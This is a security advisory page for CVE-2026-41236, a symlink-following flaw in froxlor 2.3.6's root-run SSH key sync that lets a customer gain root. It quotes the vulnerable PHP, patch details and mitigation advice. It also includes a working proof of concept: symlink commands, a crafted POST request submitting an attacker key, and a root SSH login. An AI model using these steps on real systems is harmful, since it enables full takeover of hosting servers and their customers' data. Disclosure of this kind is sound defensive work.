CVE-2026-41236 — froxlor
HIGHCVE-2026-41236 is a high-severity (CVSS 8.8) CWE-59 vulnerability in froxlor/froxlor. A fix is available for froxlor/froxlor — see the affected versions and patch details below.
Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41236.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
froxlor/froxlorReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to ~/.ssh/authorized_keys under a customer-controlled home directory without verifying that the target path is not a symbolic link.
If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.
Details
The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into SshKeys::add():
// customer_ftp.php:251-253
if ($action == 'add' && Request::post('send') == 'send') {
$result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key");
Commands::get()->apiCall('SshKeys.add', Request::postAll());
}
On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:
// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145
if ($this->getUserDetail('shell_allowed') != '1') {
throw new Exception("You cannot add SSH keys because shell access is disabled for your account.");
}
$ins_stmt = Database::prepare("
INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`.
");
Settings::AddTask('rebuildnssusers');
Later, a root-owned cron path enters SshKeys::generateFiles() and derives the target path by simple string concatenation:
// lib/Froxlor/Cron/System/SshKeys.php:52-64
$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');
$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');
if (!file_exists($authkeysfile)) {
touch($authkeysfile);
}
The helper used here only normalizes the path string and does not resolve or reject symlinks:
// lib/Froxlor/FileDir.php:376-392
public static function makeCorrectFile(string $file): string
{
$file = str_replace('//', '/', $file);
$file = str_replace('\\', '', $file);
return $file;
}
The root-owned sync code then appends attacker-controlled SSH key material to the derived path:
// lib/Froxlor/Cron/System/SshKeys.php:94-103
file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX);
chown($authkeysfile, $userinfo['uid']);
chgrp($authkeysfile, $userinfo['gid']);
Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at ~/.ssh/authorized_keys before the privileged synchronization step runs.
PoC
An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.
Relevant runtime prerequisites:
- the attacker controls a customer-owned home directory on the target host
- the attacking customer has
shell_allowed=1 - the attacker can submit SSH keys through the Froxlor panel
- Froxlor's master cron runs with the intended root privileges
Complete PoC flow:
- Obtain shell access as the customer-owned account and prepare a symlink in the home directory:
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys
ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys
- From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:
POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated customer session>
csrf_token=VALID_CSRF_TOKEN&
send=send&
description=poc&
ftpuser=17&
ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host
- Wait for Froxlor's master cron to process the queued
REBUILD_NSSUSERStask. - Use the corresponding private key to authenticate as root:
ssh -i id_ed25519 [email protected]
Result:
- the root-owned cron task follows the symlinked
authorized_keyspath - the submitted public key is appended to
/root/.ssh/authorized_keys - SSH access as
rootsucceeds with the attacker's key pair
Impact
This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | froxlor/froxlor | ≥ 2.3.6&&< 2.3.7 | 2.3.7composer require froxlor/froxlor:^2.3.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for froxlor/froxlor, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update froxlor/froxlor to 2.3.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41236 is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Frequently Asked Questions
Is CVE-2026-41236 in your dependencies?
Find it across Packagist, including transitive dependencies.